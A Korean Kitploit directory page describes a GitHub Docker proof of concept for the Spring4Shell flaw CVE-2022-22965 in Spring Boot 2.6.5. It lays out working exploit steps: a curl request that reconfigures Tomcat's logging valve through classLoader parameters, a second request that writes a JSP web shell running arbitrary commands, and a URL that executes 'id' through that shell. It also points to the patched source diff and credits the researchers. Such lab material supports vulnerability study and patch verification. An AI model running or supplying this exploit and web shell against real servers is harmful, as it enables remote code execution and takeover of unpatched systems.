Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-22965 — CVE-2022-22965 대상 Docker PoC (Spring Boot 버전 2.6.5) | Kitploit
도구/GitHubGitHub/itsecurityco/cve-2022-22965
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubitsecurityco/cve-2022-22965

CVE-2022-22965

CVE-2022-22965 대상 Docker PoC (Spring Boot 버전 2.6.5)

저장소 보기
1634년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Spring Boot CVE-2022-22965

Spring Boot 버전 2.6.5에서 CVE-2022-22965에 대한 Docker PoC

Shell

🚀 시작하기

  1. https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip 에서 배포 코드를 다운로드하고 압축을 풉니다.
  2. docker compose up --build를 실행하여 취약한 애플리케이션을 빌드하고 시작합니다.
  3. curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="를 실행하여 Tomcat 구성 밸브를 변경합니다.
  4. curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x"를 실행하여 웹 셸을 생성합니다.
  5. 브라우저를 열고 http://localhost:8080/shell.jsp?1337=id 로 이동하여 명령 실행을 시작합니다.

🔎 패치 리비전

Spring Framework 5.3.17(취약) 및 Spring Framework 5.3.18(패치됨)의 소스 코드는 각각 다음에서 다운로드할 수 있습니다:

  • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
  • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
root@kitploit:~
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip

취약점은 /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java 파일의 290번째 줄에서 발견되었습니다. 여기서 Class.getClassLoader() 및 getProtectionDomain() 메서드에는 유효성 검사가 적용되지만 ClassLoader, ProtectionDomain 유형 및 PropertyDescriptors 이름에는 적용되지 않습니다.

취약한 코드와 패치된 코드의 차이는 diff 명령으로 확인할 수 있습니다.

root@kitploit:~
$ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java

Patch


크레딧

  • 원본 연구: @p1n93r
  • 감사: @fmunoz
도구 다운로드